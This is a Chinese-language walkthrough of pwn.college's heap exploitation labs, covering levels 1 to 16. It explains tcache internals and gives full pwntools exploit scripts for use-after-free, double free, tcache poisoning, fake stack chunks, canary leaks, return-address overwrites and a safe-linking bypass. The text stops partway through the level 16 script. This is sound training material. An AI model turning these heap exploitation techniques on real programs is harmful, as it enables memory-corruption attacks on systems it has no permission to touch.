pwn.college: Dynamic Allocator Misuse

不入堆,不算Pwn~ .O.o.

Dynamic Allocator Misuse

The glibc heap consists of many components distinct parts that balance performance and security. In this introduction to the heap, the thread caching layer, tcache will be targeted for exploitation. tcache is a fast thread-specific caching layer that is often the first point of interaction for programs working with dynamic memory allocations.

glibc堆由许多组件组成,这些组件是平衡性能和安全性的不同部分。在本文对堆(线程缓存层)的介绍中,缓存将成为开发的目标。Tcache是一种特定于线程的快速缓存层,它通常是处理动态内存分配的程序的第一个交互点。

level1.0

了解tcache的结构,这是一个UAF。也就是先malloc,然后free,然后read_flag,那么read_flag的时候会复用最先的创建的chunk。当然这里有个前提,就是需要在同一个bin中。同一个bin中存放大小相同的chunk。关于tcache结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

typedef struct tcache_entry
{
struct tcache_entry *next;
struct tcache_perthread_struct *key;
} tcache_entry;

这个TCACHE_MAX_BINS 默认64(64位系统),每个bin存放大小相同的chunk。每个bin的大小范围:bin[i] 存放大小为 16 + 16*i 的块(如 bin[0]=16字节,bin[1]=32字节,…,bin[63]=1032字节)。

level1.1

一样的,用ida打开看看malloc的size即可。

level2.0

这题size是随机的,但是.0是可以直接看到的。所以逻辑没变。依然先malloc,再free,再read_flag

level2.1

这题就爆破一下bin就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level2.1")

for i in range(63):
size = 32 + 16*i
size = str(size).encode('ascii')
# malloc
out = p.recvuntil(b'[*] Function (malloc/free/puts/read_flag/quit): ')
if b"pwn." in out:
print(out)
break
# payload = b"malloc "+ size
# print(payload)
p.sendline(b"malloc "+ size)
# free
p.recvuntil(b'[*] Function (malloc/free/puts/read_flag/quit): ')
p.sendline(b"free")
# read_flag
p.recvuntil(b'[*] Function (malloc/free/puts/read_flag/quit): ')
p.sendline(b"read_flag")
# puts
p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): ")
p.sendline(b"puts")

p.interactive()

level3.0

这题主要考虑是LIFO(后进先出)的free策略。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>

int main() {
void *p1 = malloc(347); // 第一次分配 347 字节
void *p2 = malloc(347); // 第二次分配 347 字节
free(p1); // 释放 p1
free(p2); // 释放 p2
void *p3 = malloc(347); // 第三次分配 347 字节
void *p4 = malloc(347); // 第四次分配 347 字节
printf("p1=%p, p2=%p, p3=%p, p4=%p\n", p1, p2, p3, p4);
return 0;
}

那么这种情况下的执行结果为:

1
p1=0x55a1a2b3c4d0, p2=0x55a1a2b3c650, p3=0x55a1a2b3c650, p4=0x55a1a2b3c4d0

p3复用p2p4复用p1(这就是glibc的LIFO行为)

free后的内存进入tcache的流程:

  1. 检查chunk大小,如果在1032字节内,则优先放入tcache中。

  2. 插入到bin的链表头部(LIFO策略)

    例如,free(ptr1)和free(ptr2)后,会变成tcache->bins[size_class] → ptr2 → ptr1 → NULL,那么下次malloc时会优先分配ptr2的chunk。

  3. 如果bin已满(超过7个),多余的chunk会进入fastbin或者smallbin(取决于大小)。

所以这题先a = malloc(347), b = malloc(347)。然后再free(a), free(b)。 再read_flag,再puts(a)就行了。

level3.1

方法相同

level4.0

记住一点,free的时候只是判断chunk的key是否等于线程key而已。而线程key实际上是在创建时堆的tcache entry的地址。因此,在进行double free的时候,只需要覆盖掉key就行了。

而key和next在user_data的起始地址。这是一个复用,也就是在tcachebin中(free后),user_data的起始地址会变成next的起始地址,其后紧跟着的是key

这里,可以通过scanf来将key覆盖掉,使其不等于线程key,从而可以进行二次free。

也就是,先malloc 223,然后free,然后再scanf,再输入一个长度大于8的字符串,然后再free,此时在tcache bin中就有两项,并且地址相同。那么这时候再使用read_flag即可。最后puts拿到flag

level4.1

思路一致

level5.0

这里ida打开查看源码,发现puts_flag的选项是直接打印出flag。但是有一个验证,也就是需要flag所在的chunk中,前16字节有数据。

但是,它有一个操作,就是read_flag每次malloc的时候都会将前8个字节直接置0,从而导致无法puts_flag。所以,需要将read_flagchunk进行free,使其进入bin中,如果read_flagchunk进入tcache_bin中时,tcache_bin为空的话那么next依然为空,还是无法通过puts_flag进行读取,因此要保证进入tcache_bin时,其不为空才行。

思路就是:先malloc两个chunk,然后再free掉。再使用read_flag将其中一个chunk给覆盖flag。然后再free掉,此时read_flag就进入了tcache_bin,且此时其不为空,next有值。那么就可以puts_flag了。

level5.1

思路一致:

1
2
3
4
5
6
7
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc 0 472
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc 1 472
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free 0
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free 1
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free 1
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): puts_flag

level6.0

这题需要我们暴露secret,然后执行send_flag再输入这个secret就可以拿到flag了。

思路是:malloc两次,然后再free两次。最后scanf把leak的地址写入next中,然后再malloc两次这样就拿到secret的数据,再puts出来,然后就可以用send_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level6.0")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 1")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"scanf 1")

p.sendlineafter(b"Index: ",p64(0x428d30))

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"puts 0")

p.interactive()

level6.1

这题也是同理,但是leak_address需要改一下,因为这题没有开启PIE,也就是用ida打开就能拿到地址了。

level7.0

除了泄露外(我尝试了一下泄露,但是发现16字节的情况下,key会在每次malloc后被修改,所以还是直接scanf将secret的地址直接改成其他数据方便),其实我们可以用scanf修改secret地址的值,然后send_flag时输入我们之前修改的值就能绕过了。

level7.1

思路一致,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level7.1")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")


p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 1")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"scanf 1")
p.sendlineafter(b"Index: ",p32(0x424a2a))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"scanf 0")
p.sendlineafter(b"Index: ",b"a"*16)
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"send_flag")
p.sendlineafter(b"Secret: ",b"a"*16)

p.interactive()

level8.0

如果你想要poison的最低字节地址中,有换行符、水平制表符等会隔绝scanf读入的值的话,可以考虑申请与你想申请的地址相近的其他地址绕过。

这里无非就是从更低的地址写入更多的数据覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level8.0")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")


p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 1")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"scanf 1")
# 因为0a,09都会截断输入,所以用08。那么相应的后面输入多覆盖两个字节。
p.sendlineafter(b"Index: ",p64(0x426608))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"scanf 0")
p.sendlineafter(b"Index: ",b"a"*18)
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"send_flag")
p.sendlineafter(b"Secret: ",b"a"*16)


p.interactive()

level8.1

exp一致,改改address就行。

level9.0

这一题不让我们把secret地址malloc出来,也就不能scanf往里写了。但是其实之前我们发现每次malloc会把key清0,之前尝试leak的时候就出现这个问题,所以才有思路scanf往里直接写。那么我们直接malloc两次就行了。第一次在secret地址,第二次在secret - 8的地址,这样就能把secret清空了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level9.0")
# 清空secret+8 ~ secret+15
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 1")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"scanf 1")
p.sendlineafter(b"Index: ",p64(0x426553))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")
# 清空secret ~ secret+7
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"free 1")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"scanf 1")
p.sendlineafter(b"Index: ",p64(0x42654b))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ",b"send_flag")
p.sendlineafter(b"Secret: ",b"\x00"*16)

p.interactive()

level9.1

exp一致,改改地址就行。

level10.0

它有两个leak,一个是main的入口地址,一个是我们malloc时保存堆地址的指针数组地址。

根据ida可以通过指针数组地址算出rbp的地址,相对应的也就控制了返回地址。那么我们通过malloc存储main返回地址的栈地址,然后将写入win函数的地址。最后再quit即可。win函数的入口地址可以通过main函数的地址算出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level10.0")
p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
alloc_stack = p.recv(14)
alloc_stack = int(alloc_stack, 16)
p.recvuntil(b"[LEAK] The address of main is at: ")
main_addr = p.recv(14)
main_addr = int(main_addr, 16)
ret_addr = alloc_stack + 0x118
win_addr = main_addr - 0x1afd + 0x1a00
print(hex(main_addr))
print(hex(ret_addr))
print(hex(win_addr))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"free 1")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"scanf 1")
p.sendlineafter(b"Index: ", p64(ret_addr))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"scanf 0")
p.sendlineafter(b"Index: ", p64(win_addr))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): ", b"quit")

p.interactive()

level10.1

有些奇怪的IO问题,跑exp偶尔会出错。我写的exp确实挺烂的,啊哈哈。

level11.0

这题会有fork然后执行echo。然后菜单多了个echo的选项,看一下这个echo函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall echo(__int64 a1, __int64 a2)
{
char **argv; // [rsp+18h] [rbp-18h]
_WORD v4[7]; // [rsp+22h] [rbp-Eh] BYREF

*(_QWORD *)&v4[3] = __readfsqword(0x28u);
strcpy((char *)v4, "Data:");
argv = (char **)malloc(0x20uLL);
*argv = "/bin/echo";
argv[1] = (char *)v4;
argv[2] = (char *)(a1 + a2);
argv[3] = 0LL;
if ( !fork() )
{
execve(*argv, argv, 0LL);
exit(0);
}
wait(0LL);
return __readfsqword(0x28u) ^ *(_QWORD *)&v4[3];
}

调试一下不难发现/bin/echo这个字符串在base_adr + 0x33f8处。那么可以通过echo 0 0拿到base_adr + 0x33f8从而算出base_addr

同理,根据rbp所存的为上一个函数的栈地址,也就是main函数的栈帧rbp。那么通过echo 0 8拿到v4的地址,那么对应的也就拿到了

echo函数的rbp栈地址。最后根据echo函数的栈的地址,能够根据偏移算出main函数的rbp地址,相应的也就拿到了main_ret地址。最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level11.1")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"malloc 0 32")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"echo 0 0")
p.recvuntil(b"Data: ")
base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x2110
print("base_addr:", hex(base_addr))
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"echo 0 8")
p.recvuntil(b"Data: ")
main_ret_adr = u64(p.recv(6).ljust(8,b"\x00")) + 0xe + 0x160 + 0x8
print("main_ret_adr:", hex(main_ret_adr))
win_addr = base_addr + 0x1500
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"free 0")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"free 1")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"scanf 1")
p.sendlineafter(b"Index: ", p64(main_ret_adr))
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"malloc 1 100")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"malloc 0 100")
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"scanf 0")
p.sendlineafter(b"Index: ", p64(win_addr))
p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): ", b"quit")

p.interactive()

level11.1

改改偏移。

level12.0

通过stack_scanf能够在栈上创建一个fake chunk,这使得我们能够free。但是需要谨记free时在bin中,chunk_size字段的最低位要为1。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level12.1")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_scanf")
pause()
p.sendline(b"a"*48 + p64(0x00) + p64(0x41) + p64(0x00) + p64(0x00))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_free")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_malloc_win")

p.interactive()

level12.1

同理,只需要构造一个fake chunk,构造fake chunk其实只需要覆盖size字段。

level13.0

这题有点炸裂,我看ida反编译出来的scanf操作只能限制输入127个字节。结果实际上是和chunk size一致的,也就是说你的chunk size越大那么你的scanf就越大。这是一个傻子在疯狂算偏移之后,发现无法覆盖secret然后绞尽脑汁发现没有办法后试了一下后醒悟的

那么这exp简直不要太好写,直接覆盖掉secret就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level13.0")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_scanf")
pause()
p.sendline(b"a"*48+ p64(0x101) + p64(0x101))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_free")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"malloc 0 248")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"scanf 0")
p.sendlineafter(b"Index: ", b"a"*256)
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"send_flag")
p.sendlineafter(b"Secret: ", b"a"*16)
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"quit")
p.interactive()

level13.1

同上,改两个chunk_size即可。

level14.0

echo又回归了Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit)

它依然会malloc0x20个字节,这题就需要泄露栈地址和基地址,然后计算出main_ret_addrwin_addr

之前一直没说,chunk的size字段和实际申请的size的关系:

malloc(24)时,那么实际会分配32字节的数据,24字节的用户数据,8字节的头部。而size字段为:0x21,因为三个标志位分别为:P=1,M=0,N=0,最低位为P因此为0x21

思路就是首先通过echo拿到/bin/sh的地址,然后减去其偏移则得到程序基址。那么就得到了win函数的入口地址。

随后,通过stack_scanfstack_free创建一个fake chunk,然后通过malloc这个chunk从而拿到栈上的地址,再通过echocanary泄露出来。最后再通过scanf模拟栈溢出,然后覆盖返回地址为win_addr就行了。

当然,这里有两个问题:

  • canary有可能某个字节随机为制表符0x090x0a等,这种情况下使用scanf("%s",v14)时就会出现截断,导致后面的数据不会被接收,从而出错。
  • 同理,这里的win_addr也有可能会出现这个问题。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
p = process("/challenge/babyheap_level14.1")

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"malloc 0 32")
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"free 0")
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"echo 0 0")
p.recvuntil(b"Data: ")
base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x2110
win_addr = base_addr + 0x141d

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"stack_scanf")
p.sendline(b"a"*48+ p64(0x00) + p64(0x21))

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"stack_free")

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"malloc 0 24")

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"echo 0 73")
p.recvuntil(b"Data: ")
canary = p.recv(7)

canary = p8(0x0) + canary
print("canary:", hex(u64(canary)))
print("base_addr:", hex(base_addr))
print("win_addr:", hex(win_addr))

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"stack_scanf")
p.sendline(b"a"*48+ p64(0x00) + p64(0x31))

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"stack_free")

p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"malloc 0 40")

# pause()
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"scanf")

p.recvuntil(b"Index: ")
p.sendline(b"0")
pause()
p.sendline(b"a"*0x48 + canary + p64(0xdeadbeef) + p64(win_addr))
p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): ")
p.sendline(b"quit")
p.interactive()

可能会出错的原因前面提了,win_addr如果存在0x090x0a那么就改一下它的地址。canary如果出现这两个字节,那么就多执行几次。

这里有更简单的办法,因为我们这里选择栈溢出的方式,所以写入的数据有点多,会导致这样的问题。当我们echo出程序基址后,紧接着构造fake chunk。然后malloc出来后,就能echo出很多东西了。包括canarystack_addr等等。有了stack_addr那么就能直接算出main_ret_addr

那么再和前面的level 11一样,通过scanfnext,从而使得chunk的地址为ret_addr,然后写入win_addr就行了。

level14.1

这里不能直接用win_Addr因为它的最低位为0x09是制表符,导致输入截断。改一下就好了。

level15.0

现在没有stack_xxx相关的操作了。但是echo可以泄露出来程序基址和栈地址。但是有个问题,它的free会导致地址指针重置,也就是free 0 后会执行allocations[0]=0。那么之前我们通过echo泄露基地址和栈地址的方式就无法用了。

在此前,我们会先malloc(32),然后free掉。使得在执行echo的时候,其malloc的就是我们fastbin中的chunk,因此我们传入echo的参数和它申请的地址一致。所以echo 0 0就是/bin/sh的地址,减去偏移就是base_address的地址。echo 0 8就是存data的地址,也就是一个栈上的地址。

相应的,因为申请chunk时地址的递增的,所以我们先申请一个32字节大小的chunk,然后在echo时它也会申请一个32字节大小的chunk,而两个chunk地址之间差0x30,所以我们可以通过echo 0 48来达到原先echo 0 0的效果。

还有一个问题,由于我们无法获得fastbin中的chunk address。所以无法直接通过read来修改next。因此,依然需要连续的chunk来覆盖。可以先申请三个大小一致的chunk,然后free其中高地址的两个,最后通过read最低地址的chunk来覆盖到fastbin中的chunk。使得next能够指向main_ret_address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
p = process("/challenge/babyheap_level15.0")

# get program_base_address
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"malloc 0 32")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
# why 48?
# the first bin address: 0x2c0, and the second bin of same size addr: 0x2f0
# 0x2f0 - 0x2c0 = 0x30
p.sendline(b"echo 0 48")
p.recvuntil(b"Data: ")
base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x33f8
win_addr = base_addr + 0x1B0f
print("base_addr:", hex(base_addr))
print("win_addr:", hex(win_addr))

# get stack_address
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"echo 0 56")
p.recvuntil(b"Data: ")
main_ret_adr = u64(p.recv(6).ljust(8,b"\x00")) + 0xe + 0x160 + 0x8
print("main_ret_adr:", hex(main_ret_adr))

# read to overwrite "next"
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"malloc 0 48")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"malloc 1 48")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"malloc 2 48")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"free 2")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"free 1")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"read 0 72")
p.sendline(b"a"*0x30 + p64(0x0) + p64(0x41) + p64(main_ret_adr))

p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"malloc 1 48")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"malloc 0 48")
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"read 0 8")
p.sendline(p64(win_addr))

# win()
p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): ")
p.sendline(b"quit")

p.interactive()

level15.1

改偏移即可。

level16.0

这题没开PIE啊,可以直接拿到secret的地址。但是glibc 2.31版本变成了2.32版本,引入了safe-linking

safe-linking主要靠异或实现,主要依赖以下两个函数:

1
2
3
4
#define PROTECT_PTR(pos, ptr)
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

这两个函数分别在free和malloc函数中被引用

对于malloc来说:

1
2
3
4
5
6
7
8
9
10
11
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e))) //检查对齐
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}

对于free来说:

1
2
3
4
5
6
7
8
9
10
11
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

e->key = tcache_key;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

next字段将进行next_addr >> 12 ^ next,next的地址右移12位并和next地址的值进行异或。在safe-linking加持下,要想获得tcache中下一个堆块的实际地址,需要知道posptr两个值,即当前堆块的mem地址,和当前堆块的mem地址的值,得知后异或即可

解题思路是:首先mallocfree然后通过puts泄露当前TCACHE BIN的next段,因为在free时,会将这个BIN的地址以及这个BIN地址中的值进行移位异或,但是第一次malloc时其值为0,因此是将当前BIN的地址0xdc72c0右移12位变成0xdc7。所以此时拿到的next就是堆的基地址。然后,我们需要根据secret的地址0x437f30计算出它如果在在BIN中时的next段的值。也就是逆向思维,通过和secret的地址移位异或计算出next字段的值,然后再把这个next字段的值写入到BIN中,再malloc出来,这样就将secret的值留存到TCACHE BIN中,因为堆空间会复用的关系,所以我们重新malloc一个相同大小的chunk,这样就能得到前面保留secret的chunk,对于next字段是不会清空的,因此可以拿到secret的前八字节。后八字节因为malloc的时候会将key置为0,所以不用管。

注意,我们拿到的遗留的secret是经过两次移位异或的,第一次是和它本身的地址进行的异或,第二次是和heap的基地址进行异或的。

最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
p = process("/challenge/babyheap_level16.0")

# get heap_base_address
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc 0 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"free 0")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"puts 0")
p.recvuntil(b"Data: ")
en_next_mem = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))
print("en_next: ", hex(en_next_mem))
heap_base_addr = en_next_mem << 12

next_mem_to_write = heap_base_addr >> 12 ^ 0x437f30

p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc 0 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc 1 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"free 0")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"free 1")

